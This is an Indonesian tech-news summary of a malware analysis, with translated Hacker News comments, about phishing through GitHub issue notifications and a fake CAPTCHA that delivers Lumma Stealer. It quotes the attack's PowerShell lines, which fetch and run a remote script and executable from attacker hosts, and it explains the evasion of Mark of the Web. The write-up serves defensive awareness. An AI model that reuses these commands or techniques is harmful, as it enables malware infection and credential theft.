1 poin oleh GN⁺ 2024-09-20 | 1 komentar | Bagikan ke WhatsApp
  • Penyerang memanfaatkan alur notifikasi normal dari repositori publik untuk menyampaikan pesan berbahaya kepada pemilik repositori yang tampak seperti email yang benar-benar dikirim oleh GitHub
  • Karena sebagian besar isi email dapat disusun oleh penyerang, memeriksa hanya pengirim dan tautan saja membuat upaya membedakan phishing menjadi sulit
  • Saat tautan diklik, halaman CAPTCHA palsu akan muncul dan mengarahkan pengguna untuk menempelkan perintah PowerShell ke jendela Run Windows sehingga unduhan malware dimulai
  • File diunduh melalui .NET milik PowerShell, System.Net.WebClient.DownloadFile, sehingga tidak diberi Mark of the Web dan dapat menghindari peringatan tanda tangan Windows
  • Payload akhirnya terhubung dengan malware yang dideteksi banyak antivirus di VirusTotal sebagai LUMMASTEALER, keluarga stealer yang memburu kredensial, dompet kripto, dan data sensitif

Alur serangan yang memanfaatkan email notifikasi GitHub

  • Pemilik repositori publik sering menerima email notifikasi aktivitas dari GitHub seperti issue, komentar, dan Pull Request
  • Penyerang menyalahgunakan sistem notifikasi normal ini dengan urutan berikut
    • Membuat issue di repositori publik menggunakan akun GitHub sekali pakai
    • Menghapus issue tersebut dengan cepat
    • Pemilik repositori menerima email notifikasi yang dikirim GitHub
    • Saat penerima mengklik tautan di email, mereka diarahkan ke situs berbahaya
    • Jika mengikuti instruksi, sistem akan terinfeksi malware
  • Isi email yang sebenarnya menyatakan bahwa kerentanan keamanan telah ditemukan dan meminta korban melihat informasi lebih lanjut di github-scanner[.]com, sambil menyamar sebagai “Github Security Team”

Mengapa emailnya terlihat meyakinkan

  • Email tersebut adalah notifikasi yang benar-benar dikirim oleh GitHub, sehingga lolos dari banyak pemeriksaan phishing umum
    • Pengirim email memang GitHub
    • Tautan di isi email memang mengarah ke tujuan yang ditampilkan
  • Sulit menilai situasi sebenarnya hanya dari bagian email yang tidak dikendalikan penyerang
    • Fakta bahwa email itu dipicu oleh pembuatan issue baru tidak terlihat cukup jelas di dalam email
    • Penyerang dapat membangun konteks apa pun yang mereka inginkan lewat teks isi email
  • Untuk mengurangi efektivitas serangan, email notifikasi GitHub dapat diperbaiki dalam hal berikut
    • Memberikan lebih banyak konteks tentang tindakan apa yang memicu email
    • Mengurangi porsi konten yang dikendalikan penyerang
    • Memperjelas identitas pengirim email
  • Email terkait dan kekhawatiran ini telah disampaikan ke GitHub Security yang sebenarnya

CAPTCHA palsu dan eksekusi PowerShell

  • Jika mengikuti tautan di email, pengguna akan melihat halaman yang tampak seperti CAPTCHA
  • Permintaan untuk membuktikan bahwa pengguna adalah manusia lewat CAPTCHA mungkin tidak terasa asing karena tantangan otomatis dari layanan seperti Cloudflare
  • Namun halaman ini bukan CAPTCHA pemilihan gambar biasa, melainkan meminta pengguna membuka jendela Run Windows dan menempelkan perintah
  • Perintah tahap pertama yang dimasukkan ke clipboard membuka jendela PowerShell tersembunyi lalu mengunduh dan menjalankan skrip jarak jauh
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
  • iex adalah alias untuk Invoke-Expression, dan iwr adalah alias untuk Invoke-WebRequest
  • Ini bekerja dengan bentuk yang serupa dengan menjalankan curl | bash di Linux
  • Komentar di akhir perintah menutupi bagian awal karena keterbatasan ukuran jendela Run Windows, sehingga bagi pengguna terlihat seperti kalimat verifikasi CAPTCHA

Unduhan tahap kedua dan penghindaran peringatan Windows

  • Skrip yang diunduh kemudian mengunduh github-scanner[.]com/l6E.exe, menyimpannya sebagai SysSetup.exe di folder sementara, lalu menjalankannya
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
  • Berkas executable itu memiliki tanda tangan digital, tetapi tanda tangan pada biner berbahaya tersebut tidak valid
  • Tanda tangannya tampak seolah berasal dari Spotify, tetapi setelah berdiskusi dengan DigiCert disimpulkan bahwa itu bukan sertifikat curian melainkan tanda tangan spoofed
  • Windows menentukan apakah sebuah file diunduh dari internet melalui flag Mark of the Web (MOTW)
    • Browser dan sejenisnya dapat menetapkan flag ini pada file hasil unduhan
    • Perangkat lunak seperti Office dapat mengubah perilaku berdasarkan flag tersebut
  • Jika executable yang sama diunduh lewat browser, Windows akan memperingatkan bahwa tanda tangannya tidak valid
  • Namun dalam alur korban, file diunduh bukan oleh browser melainkan oleh .NET Framework milik PowerShell, System.Net.WebClient.DownloadFile
    • Metode ini tidak menetapkan flag MOTW pada file yang diunduh
    • Windows hanya menampilkan peringatan eksekusi untuk tanda tangan digital yang tidak valid jika MOTW ada
  • Karena MOTW dapat dihapus dengan mudah, pendekatan yang bergantung pada flag ini tidak aman
  • Dua kelemahan Windows yang terkait telah dilaporkan ke Microsoft

Analisis loader dan payload akhir

  • Executable tersebut menunjukkan jejak terkait .NET di Ghidra, sehingga dianalisis lebih lanjut dengan dotPeek
  • Alur intinya ada pada entry point dan metode PersonalActivation
    • Entry point menyembunyikan jendela konsol
    • Ia memanggil PersonalActivation dua kali dari thread latar belakang
    • Ia menandai area memori sebagai dapat dieksekusi dengan VirtualProtect
    • Lalu mengeksekusinya dengan CallWindowProcW
  • PersonalActivation menerima daftar yang tidak digunakan dan dua array byte
    • Array pertama tampak seperti buffer data
    • Array kedua ditandai sebagai key
    • Ia melakukan banyak operasi matematika dan tampak seperti semacam rutinitas dekripsi
  • Setelah mematikan komentar panggilan VirtualProtect dan CallWindowProcW, buffer hasil dekripsi diperiksa di debugger
    • Buffer pertama berisi CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread, dan lainnya
    • Jalur C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe juga muncul
    • Buffer kedua berbentuk file executable Windows dengan header MZ dan PE
  • Loader memuat exe yang “terenkripsi” dalam array byte besar di bagian atas ke memori, menjadikannya dapat dieksekusi, lalu menjalankannya

Deteksi Lumma Stealer dan alat yang digunakan

  • Tahap akhir adalah executable Windows non-.NET, sehingga analisis lanjutan terbatas jika hanya mengandalkan output Ghidra
  • Kedua biner tersebut sudah terdeteksi oleh banyak antivirus di VirusTotal
  • Nama deteksinya sama-sama menampilkan pola LUMMASTEALER
  • Lumma adalah salah satu operasi malware berbentuk “malware as a service”
    • Kode stealer mencari dompet kripto, kredensial tersimpan, dan data sensitif
    • Data yang dikumpulkan dikirim ke server command-and-control (C2)
    • Setelah itu bisa berujung pada pencurian uang atau penjualan data
  • Malware Lumma tidak cenderung mengenkripsi perangkat korban seperti ransomware tradisional
  • Sebagai bahan tambahan terkait Lumma, direkomendasikan artikel Cyfirma tentang taktik, dampak, dan strategi pertahanan Lumma Stealer
  • Alat yang digunakan dalam analisis adalah Windows Sandbox, Ghidra, dotPeek, HxD, dan Visual Studio

1 komentar

 
GN⁺ 2024-09-20
Opini Hacker News
  • Rasanya sulit percaya ada orang yang benar-benar tertipu oleh penipuan seperti ini
    Pertama, dari tangkapan layar saja memang belum jelas, tetapi jika diasumsikan penulis tahu bahwa email itu berasal dari GitHub, tanda bahaya pertama adalah tautannya mengarah ke github-scanner.com, variasi dari domain asli
    Jika tidak tahu github-scanner.com milik siapa, lebih aman menganggapnya sebagai penipuan hanya karena terlihat seperti situs sungguhan yang meyakinkan
    Tanda bahaya besar adalah CAPTCHA yang meminta kita memasukkan perintah ke shell, dan tidak banyak lagi yang bisa dikatakan soal seberapa polos seseorang harus sampai menjalankannya

    • Pada akhirnya ini adalah permainan probabilitas
      Tidak ada orang yang sempurna, dan semakin banyak unsur yang membangun kepercayaan, kemungkinan tingkat konversinya juga meningkat
      Jika penglihatan sedang kurang baik, dikejar waktu, atau dalam kondisi lelah dan terkuras, target yang biasanya sulit ditipu pun bisa menjadi lebih mudah tertipu
      Jika otomatisasi skala besar memungkinkan, tingkat konversi rendah pun bisa berujung pada banyak akun yang diambil alih
    • Jika itu terjadi pada tahun pertama sejak saya membuat akun GitHub, saya rasa saya pasti tertipu
      Kelihatannya tidak jauh berbeda dari menyiapkan kunci SSH, dan pengguna baru memang mengalami alur menyalin dan menempel perintah yang dikirimkan GitHub
    • Beberapa minggu lalu, seseorang membuka issue di salah satu repositori saya, dan dalam waktu kurang dari satu menit dua akun membalas dengan tautan penyimpanan file, menyuruh mengunduh dan menjalankan perangkat lunak untuk memperbaiki masalah
      Jelas itu kemungkinan besar malware, jadi saya langsung menghapus komentar-komentarnya lalu melaporkan akun-akunnya ke GitHub
      Saya tidak akan tertipu oleh trik seterang itu, tetapi orang yang mengajukan pertanyaan awal tampaknya tidak teknis jika dilihat dari riwayat aktivitas GitHub dan kualitas pertanyaannya
      Jika ia sedang dalam kondisi ingin cepat mencoba apa saja tanpa melihatnya secara kritis, sepertinya ia bisa saja tertipu
    • Email yang datang dari domain lain sayangnya cukup umum
      Citi dan PayPal juga melakukannya pada sebagian email, dan itu selalu menjengkelkan
    • Saya sudah cukup lama berkecimpung hingga ingat ILOVEYOU, dan sejak itu melihat jutaan hingga puluhan juta dolar dihabiskan untuk melatih pengguna agar tidak mengeklik hal yang salah
      Bulan lalu di sebuah konferensi, CEO perusahaan keamanan siber memberikan keynote yang isinya, dalam beberapa kasus, lebih dari 80% pengguna masih tertipu penipuan email, jadi mereka butuh lebih banyak uang
      Pertanyaan serius saya kepada pembicara itu adalah: jika setelah jutaan dolar dan hampir 25 tahun lebih dari 80% pengguna masih mengeklik tautan yang salah, bukankah berarti ada sesuatu yang secara mendasar keliru dalam pendekatan kita?
  • Baru-baru ini saya menerima email yang jauh lebih meyakinkan dari PayPal
    Seseorang mengirimkan estimasi harga, tampaknya melalui fitur yang bisa dipakai tanpa diminta, lalu mengatur nama perusahaannya menjadi semacam “PayPal perlu menghubungi Anda terkait pembayaran terbaru sebesar $499.00, hubungi +1-...”
    Jadi karena teks “mengirimkan estimasi $xxx kepada Anda” pada email estimasi PayPal, nama perusahaan itu memenuhi sebagian besar teks di bagian atas
    Email ini benar-benar datang dari PayPal.com, dan saya tidak mengerti bagaimana perusahaan pemroses pembayaran belum bisa mencegah masalah nama pengguna seperti ini
    Saya sudah melaporkannya tetapi tidak ada jawaban, dan mereka seharusnya melarang bukan hanya akun itu, melainkan seluruh pola nama seperti itu
    Formatnya benar-benar terlihat seperti email PayPal yang sah, dan saya rasa banyak orang biasa akan tertipu oleh penipuan ini
    Jika menginginkan emailnya, hubungi saya melalui situs web di profil saya

    • Saya mengalami hal yang sama lebih dari setahun lalu, jadi sepertinya laporan tidak banyak berdampak
    • Saya juga menerima yang sangat mirip; itu email PayPal yang sah, tetapi bukan estimasi, melainkan tagihan
      Saat login ke PayPal, tidak ada apa pun yang muncul di situs webnya
    • Rasanya aneh, kenapa PayPal meminta orang menelepon lewat email?
      Jika ada sesuatu yang diperlukan, mereka seharusnya menelepon langsung, menuliskannya di email, atau menampilkannya di portal
    • Saya akan terkejut kalau ada orang yang benar-benar memeriksanya
    • Pernyataan “email itu diformat agar terlihat seperti email PayPal asli” justru merupakan alasan mengapa email selain teks biasa harus diblokir
      Selain alasan keamanan, siapa pun yang pernah mengutak-atik HTML selama 5 menit bisa membuat email yang “terlihat asli”
  • Win+R, CTRL+V
    Dari CAPTCHA menuju jebakan
    Kalau developer junior, rasanya bisa saja tertipu. Polanya seperti, “Karena ini GitHub, pasti sah, kan? Notifikasi keamanan untuk library yang kita pakai juga datang tiap dua bulan sekali.”
    Mereka juga bisa berpikir, “Oh, CAPTCHA yang diselesaikan dengan menjalankan kode, menarik juga!”
    Halaman web seharusnya tidak boleh mengisi clipboard hanya dengan klik; menurut saya perlu ada pratinjau isi
    Mungkin orang mengira meminta tindakan pengguna seperti klik akan menyelesaikan masalah, tetapi itu masih terlalu lemah, dan ini masalah pertama
    Orang harus berhenti menjalankan begitu saja tautan dari email atau percaya bahwa isi email punya legitimasi. Isi email itu sendiri tidak punya legitimasi, dan ini masalah kedua
    Ketiga, apakah Windows masih membiarkan satu baris PowerShell mengambil alih mesin setara hak root?
    GitHub juga mungkin harus mencegah layanan otomatis memasukkan tautan ke issue dari jarak jauh jika belum dipastikan sebagai konten yang sah
    Mereka mengirimkan ini ke email orang-orang, jadi jangan bilang tidak tahu bahwa ini bisa dipakai untuk phishing. Ini bahkan menurut standar 2015 pun adalah dasar-dasar keamanan siber
    Terakhir, jika GitHub tidak bisa melakukan langkah-langkah di atas, mereka sebaiknya lebih banyak menghapus isi email yang dikirim ke orang-orang dan, seperti bank, hanya mengirim semacam “Ada issue baru di repositori ini...”
    Kalau begitu, saat pengguna masuk, pesannya tidak ada, dan selesai. Rasanya GitHub perlu lebih dewasa dalam hal ini

    • Soal “developer junior bisa saja tertipu”, menurut saya bukan hanya junior, semua macam orang bisa melakukan kesalahan. Memang begitu adanya
      Menurut saya orang perlu dilatih dengan benar tentang apa yang berbahaya
      Soal Windows, setidaknya dua orang karyawan sudah meminta agar mereka bisa lepas dari Windows. Saya akan melakukan yang terbaik, dan ini proyek yang sudah lama berjalan, tetapi pada akhirnya akan kami tuntaskan
    • Bagian tentang satu baris PowerShell mengambil alih mesin itu hanya mungkin jika perintah tersebut dijalankan dari akun dengan hak administrator
      Ikon perisai pada tangkapan layar dialog “Run” jelas menunjukkan bahwa itu pengguna dengan hak administrator dan UAC dimatikan
      Kalau begitu, giliran kita menangisi Linux yang membiarkan satu baris curl malware.zyx/evilscript | bash merebut hak root
    • Untuk pengguna nonteknis, kami mulai menonaktifkan dialog Run, tetapi masalahnya serangan GitHub ini menargetkan pengguna yang memang sesekali perlu memakai fitur itu
      Strategi clipboard juga seharusnya terlihat mudah diblokir. Kebanyakan penipu hanya meyakinkan orang lewat telepon untuk mengetik langsung URL yang disamarkan dengan baik ke dialog Run
    • CAPTCHA ini sangat buruk sampai-sampai, kalau browser menampilkan “Tekan Win+R, CTRL+V”, saya ingin mengotomatisasi agar isi clipboard langsung diambil dan cmd.exe dijalankan, supaya bisa melihat konten situs lebih cepat tanpa gangguan
      Benar, saya adalah pengguna Windows 10x
    • Orang bilang menjadi setara root dengan satu baris di Windows itu masalah, tetapi saya justru melihatnya sebagai keunggulan
      Kita bisa memperlakukan Windows sebagai “root” karena kita memang root, tepatnya karena instalasi Windows selalu membuat akun pengguna pertama sebagai akun administrator
      Ini keunggulan. Kita bisa melakukan apa yang kita mau di komputer yang kita miliki dan gunakan
      Di era ketika sistem operasi makin terkunci sehingga pengguna tidak benar-benar memiliki dan mengelola komputernya, Windows membiarkannya begitu saja
      Tolong jangan pernah ubah hal ini
  • Singkatnya, jangan klik tautan di email
    Apakah github-scanner.com dan github-scanner.shop masih pelaku jahat yang sama? Sepertinya begitu
    Lucu juga DNS-nya ada di Cloudflare. Cloudflare terkenal mengatakan “kami tidak meng-host apa pun”, tetapi rasanya mereka menganggap kita semua bodoh
    Tampaknya tidak ada cara untuk melaporkan penyalahgunaan seperti ini ke Cloudflare yang tidak mau bertanggung jawab apa pun
    Domain 2x.si yang meng-host malware memakai DNS Cloudflare dan hosting-nya juga Cloudflare
    Setidaknya ini bisa dilaporkan ke Cloudflare, tetapi formulir laporan penyalahgunaannya membatasi kecepatan manusia dan bahkan meminta CAPTCHA
    Hanya bisa menghela napas. Berkat Cloudflare, sekarang phishing dan hosting malware jadi terlalu mudah

    • Cloudflare jauh lebih responsif terhadap laporan penyalahgunaan dibanding 95% registrar DNS tingkat negara
      Begitu menurut pengalaman saya berurusan dengan keduanya
    • Saya tidak tahu seberapa efektif dan cepat responsnya, tetapi ada cara untuk melaporkan malware https://www.cloudflare.com/trust-hub/reporting-abuse/
      Di halaman itu ada Phishing & Malware sebagai jenis penyalahgunaan yang bisa dipilih
    • Bukan berarti “jangan klik tautan di email” itu salah, tetapi kasus ini rasanya lebih tepat diringkas sebagai “jangan tertipu CAPTCHA yang menyuruh Anda menempelkan kode ke jendela yang tertulis akan dijalankan sebagai administrator”
      Ini lebih mirip gerutuan daripada komentar keamanan yang serius, tetapi saya selalu terganggu dengan kriteria gagal tes phishing yang berupa “mengklik sembarang tautan di dalam email”
      Bukankah yang sebenarnya lebih inti adalah apakah pengguna memasukkan kredensial ke situs phishing, atau mengunduh lalu membuka file?
      Saya paham lebih mudah mengajari pengguna nonteknis agar tidak mengklik tautan buruk sama sekali, dan kerentanan browser juga ada, tetapi tetap saja terasa mengganggu
      Saya sering melihat tulisan seperti ini pada akhirnya berujung pada pengguna memasukkan kredensial, memberi izin aneh ke browser, mengunduh file, atau seperti kali ini, menjalankan perintah
      Saya hampir tidak pernah melihat kasus yang berakhir dengan “mengklik tautan lalu 0-day browser meledak, selesai”
      Browser web memang punya permukaan serangan yang luas, tetapi pada saat yang sama juga alat yang dibuat untuk menjelajahi internet
      Kebanyakan orang cukup santai mengklik tautan saat bekerja atau melakukan riset
      Defense in depth memang perlu, tetapi kebijakan keamanan yang menjadikan “jangan pernah mengunjungi situs web berbahaya” sebagai prinsip inti tampak cukup cacat
    • Untuk memverifikasi email akun baru, bagaimana caranya kalau tidak menekan tautan?
      Ada cara lain: pakai Qubes OS, buka tautan hanya di mesin virtual sekali pakai, dan jangan masukkan informasi lebih dari itu
      Saat menerima email verifikasi alamat email akun baru, biasanya saya melakukan seperti itu
      Toh mengklik tautan tidak selalu bisa dihindari, bukan
  • Saat membaca bagian “penyerang dengan cepat menghapus issue”, saya sadar bahwa saya belum pernah menghapus issue yang saya buat
    Tapi bukankah hanya orang dengan izin admin yang bisa menghapus issue dari repositori? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
    Kalau begitu, sebenarnya jejak issue itu masih tertinggal di repositori, dan pull request juga sama

    • Mungkin GitHub sudah menilainya sebagai berbahaya lalu menghapusnya, tetapi emailnya mungkin sudah terlanjur terkirim
    • Pemilik repositori juga bisa mengubah judul dan isi issue yang dibuka orang lain
  • Klaim bahwa tidak ada yang memberi tahu bahwa email itu terkait issue baru adalah keliru
    “(Issue #1)” pada judul persis berarti itu
    Saya juga benar-benar menerima email yang sama, dan langsung tahu bahwa sebuah issue baru telah dibuat di repositori
    Pengguna ini jelas tidak terbiasa dengan GitHub Issues, seperti terlihat juga dari fakta bahwa itu adalah issue pertama di repositori
    Sepertinya GitHub perlu mengajari pengguna baru dengan lebih baik

    • Benar, tetapi saya pernah bekerja di perusahaan yang memberi akun GitHub untuk pelaporan bug kepada pengguna yang tidak sepenuhnya memahami detail teknis
      Orang-orang seperti ini benar-benar mudah tertipu
      Orang teknis mungkin bisa menyadarinya, tetapi itu bukan alasan pembenar bagi GitHub untuk tidak berbuat lebih baik
  • Pagi ini saya menerima salah satu notifikasi seperti ini dan langsung mengabaikannya
    Yang lucu, targetnya justru repositori ini: https://github.com/kyledrake/theftcoinjs

  • Ini tulisan yang layak dibaca. Menunjukkan apa yang coba dilakukan para penyerang
    Dari tautannya saja memang mudah untuk curiga, tetapi menarik melihat proses seseorang menggalinya

  • Pagi ini saya mengunggah bug di sebuah repositori GitHub, dan belum sampai 1 menit seseorang memberi jawaban kira-kira seperti ini
    “Coba ini. Sepertinya akan memperbaiki masalahnya. Kalau butuh compiler, instal GCC”
    Lalu disertai tautan Bitly yang mengalihkan ke file zip di MediaFire, plus kata sandi
    GitHub memproses laporan penyalahgunaan saya dalam waktu satu jam dan menghapus semua postingan pengguna itu

  • Astaga, saya juga menerima email notifikasi GitHub yang mirip
    Isinya mengatakan ada kerentanan yang terdeteksi di repositori, dan sebelum melihat berita ini saya tidak terpikir bahwa itu palsu
    Untungnya, karena saya programmer pemalas, saya tidak mengekliknya. Sekali ditulis ya sudah; meski saya menulis ulang kode, saya tidak mencari dan memperbaiki bug di kode saya sendiri

    • Ringkasan peringatan keamanan GitHub memang benar-benar ada https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts
      Ini fitur GitHub yang memberi tahu kerentanan keamanan pada dependensi proyek
      Misalnya, jika Anda menggunakan Python dan mencantumkan library requests di requirements.txt, GitHub akan memberi tahu lewat email tentang kerentanan yang telah dipublikasikan pada library tersebut dan menyarankan Anda menaikkan ke versi lebih baru yang sudah diperbaiki